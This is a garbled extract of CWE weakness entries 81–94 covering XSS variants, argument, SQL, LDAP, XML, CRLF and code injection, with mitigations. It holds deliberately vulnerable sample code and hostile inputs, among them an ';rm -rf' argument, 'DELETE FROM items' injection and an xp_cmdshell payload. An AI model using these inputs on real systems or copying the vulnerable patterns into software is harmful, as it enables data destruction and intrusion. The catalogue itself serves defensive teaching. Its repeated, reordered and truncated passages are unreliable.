To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

White Box Definitions
A weakness where the code path has:
1. start statement that accepts input from HTML page
2. end statement that publishes a data item to HTML where
   a. the input is part of the data item and
   b. the input contains XSS syntax

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID: 81 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description
Error pages may include customized 403 Forbidden or 404 Not Found pages. When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Description

Summary
The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

Extended Description
Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID: 86 (Weakness Variant) Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

Observed Examples
CWE Version 2.11

CWE-87: Improper Neutralization of Alternate XSS Syntax

Reference
CVE-2004-0595

Description
XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.

Potential Mitigations

Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID: 87 (Weakness Variant)

Description

Summary
The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Time of Introduction

• Implementation
Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Integrity
Availability
Read application data
Execute unauthorized code or commands

Demonstrative Examples
In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

Java Example:

```java
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Observed Examples

<table>

<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0738</td>
<td>XSS using &quot;&amp;={script}&quot;.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Resolve all input to absolute or canonical representations before processing.

Implementation
Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation
With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CWE-88: Argument Injection or Modification

Weakness ID: 88 (Weakness Base)  Status: Draft

Description

Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Confidentiality
Integrity
Availability
Other

Execute unauthorized code or commands
 Alter execution logic
Read application data
Modify application data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

Demonstrative Examples

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.
CWE Version 2.11
CWE-88: Argument Injection or Modification

C Example:

```c
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf ", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Potential Mitigations

Architecture and Design

Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Relationship Notes

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

Affected Resources

- System Process

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)
**CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')**

**Description**

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

**Extended Description**

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Database-Server

**Modes of Introduction**

This weakness typically appears in data-rich applications that save user inputs in a database.

Common Consequences
Confidentiality
Read application data
Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Access Control
Bypass protection mechanism
If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Access Control
Bypass protection mechanism
If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity
Modify application data
Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood of Exploit
Very High

Enabling Factors for Exploitation
The application dynamically generates queries that contain user input.

Detection Methods
Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software’s operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Database Scanners
  Cost effective for partial coverage:
    Web Application Scanner
    Web Services Scanner

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Fuzz Tester
    Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Manual Source Code Review (not inspections)
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Formal Methods / Correct-By-Construction
  Cost effective for partial coverage:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. [1]

Example 2:
The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

C# Example:

```csharp
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = " + userName + " AND itemname = " + ItemName.Text + "";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:
SELECT * FROM items WHERE owner = '<userName>' AND itemname = '<itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

'Attack

for itemName, then the query becomes the following:

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:
This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

'Attack

for itemName, then the query becomes the following two queries:

**SQL Example:**

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

'Attack

Then the following three valid statements will be created:

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
CWE Version 2.11
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:
- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks. Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

```sql
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is
open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

**Example 4:**
MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

```sql
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where $user_input is taken from an untrusted source. If the user provides the string:

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

```sql
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' -- ORDER BY PRICE
```

Now, this query can be broken down into:
- a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
- a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir' an MS SQL comment: -- ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

**Example 5:**
This code intends to print a message summary given the message ID.

**PHP Example:**

```
$id = $_COOKIE['mid'];
```
The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

```
Attack
1432' or '1' = '1
```

This would produce the resulting query:

```
Result
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

**PHP Example:**

```
Good Code
$id = intval($_COOKIE['mid']);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

**Example 6:**

This example attempts to take a last name provided by a user and enter it into a database.

**Perl Example:**

```
Bad Code
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = whiteList($name, "^a-zA-Z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

**Observed Examples**

**Potential Mitigations**
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Architecture and Design
Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.89.12]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Architecture and Design
Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation
Implementation
Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

White Box Definitions

A weakness where the code path has:
1. start statement that accepts input and
2. end statement that performs an SQL command where
   a. the input is part of the SQL command and
   b. input contains SQL syntax (esp. query separator)

References

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90 (Weakness Base) Status: Draft

Description

Summary

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
CWE Version 2.11

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Database-Server

**Common Consequences**

Confidentiality
Integrity
Availability

**Execute unauthorized code or commands**

**Read application data**

**Modify application data**

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.

**Demonstrative Examples**

The code below constructs an LDAP query using user input address data:

**Java Example:**

```java
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2301</td>
<td>Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**CWE-91: XML Injection (aka Blind XPath Injection)**

**Weakness ID:** 91 (Weakness Base)

**Status:** Draft

**Description**

**Summary**
The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

**Extended Description**
Within XML, special elements could include reserved words or characters such as "<", ">", "\"", and "&", which could then be used to add new data or modify XML syntax.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Availability
- Execute unauthorized code or commands
- Read application data

References

Maintenance Notes
The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be
CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

**Weakness ID:** 92 (Deprecated Weakness Base)  
**Status:** Deprecated

**Description**

**Summary**

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

---

CWE-93: Improper Neutralization of CRLF Sequences ("CRLF Injection")

**Weakness ID:** 93 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- All

**Common Consequences**

- Integrity
- Modify application data

**Likelihood of Exploit**

Medium to High

**Demonstrative Examples**

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

**Java Example:**

```java
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1771</td>
<td>CRLF injection enables spam proxy (add mail headers) using email address or name.</td>
</tr>
<tr>
<td>CVE-2002-1783</td>
<td>CRLF injection in API function arguments modify headers for outgoing requests.</td>
</tr>
<tr>
<td>CVE-2004-1513</td>
<td>Spoofed entries in web server log file via carriage returns</td>
</tr>
<tr>
<td>CVE-2004-1687</td>
<td>Chain: HTTP response splitting via CRLF in parameter related to URL.</td>
</tr>
<tr>
<td>CVE-2006-4624</td>
<td>Chain: inject fake log entries with fake timestamps using CRLF injection</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Avoid using CRLF as a special sequence.

**Implementation**

Appropriately filter or quote CRLF sequences in user-controlled input.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)
CWE-94: Improper Control of Generation of Code ('Code Injection')

**Weakness ID:** 94 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

**Extended Description**

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.
Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Interpreted languages (Sometimes)

Common Consequences
Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control
Gain privileges / assume identity
Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

```php
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];  
    $message = $_GET["message"];  
    $handle = fopen($MessageFile, "a+");  
    fwrite($handle, "<b>$name</b> says '$message'<hr>
